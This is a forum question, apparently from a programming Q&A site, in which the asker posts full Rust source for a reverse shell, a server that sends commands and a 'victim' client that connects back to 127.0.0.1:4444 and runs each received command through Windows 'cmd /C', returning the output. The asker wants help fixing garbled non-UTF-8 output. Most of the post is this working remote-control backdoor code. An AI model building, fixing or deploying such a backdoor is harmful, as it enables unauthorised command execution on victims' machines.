Hello I am creating a reverse shell in rust with the server side (the one which sends the commands and receives the output) and the victim side (the one which will launch the executable) but when I type for example the ipconfig command, dir etc... This shows me certain characters which cannot be converted into utf-8 and are therefore replaced by this Unicode "�".
Server side:
use std::net::{TcpListener, TcpStream};use std::io::{self, Read, Write};fn handle_client(mut stream: TcpStream) { loop { let mut buffer = [0; 1024]; let bytes_read = stream.read(&mut buffer).expect("Failed to read from socket"); if bytes_read == 0 { println!("Client disconnected."); break; } println!(); println!("{}", String::from_utf8_lossy(&buffer[..bytes_read])); println!(); let mut cmd = String::new(); print!("Shell> "); io::stdout().flush().expect("Failed to flush stdout"); io::stdin().read_line(&mut cmd).expect("Failed to read from stdin"); let trimmed_cmd = cmd.trim(); if trimmed_cmd == "exit" { println!("Closing connection..."); break; } stream.write(&trimmed_cmd.as_bytes()).expect("Failed to write to socket"); }}fn main() -> std::io::Result<()> { let listener = TcpListener::bind("127.0.0.1:4444")?; println!("[+] Waiting for a connection..."); for stream in listener.incoming() { println!("Connexion established !"); handle_client(stream?); } Ok(())}
Victim side :
use std::net::TcpStream;use std::io::{Read, Write};use std::process::{Command, exit};fn main() { let mut buffer = [0; 1024]; let os = std::env::consts::OS; let os_str = format!("Operating System: {}", os); if os == "linux" { exit(1); } if let Ok(mut stream) = TcpStream::connect("127.0.0.1:4444") { let _ = stream.write_all(os_str.as_bytes()); loop { if let Ok(bytes_read) = stream.read(&mut buffer) { if bytes_read == 0 { break; } let command_str = String::from_utf8_lossy(&buffer[..bytes_read]); if os == "windows" { if let Ok(output) = Command::new("cmd") .arg("/C") .arg(command_str.trim()) .output() { let _ = stream.write_all(&output.stdout); let _ = stream.write_all(&output.stderr); } } } } }}
So if anyone can correct the code for me by explaining to me the things you changed.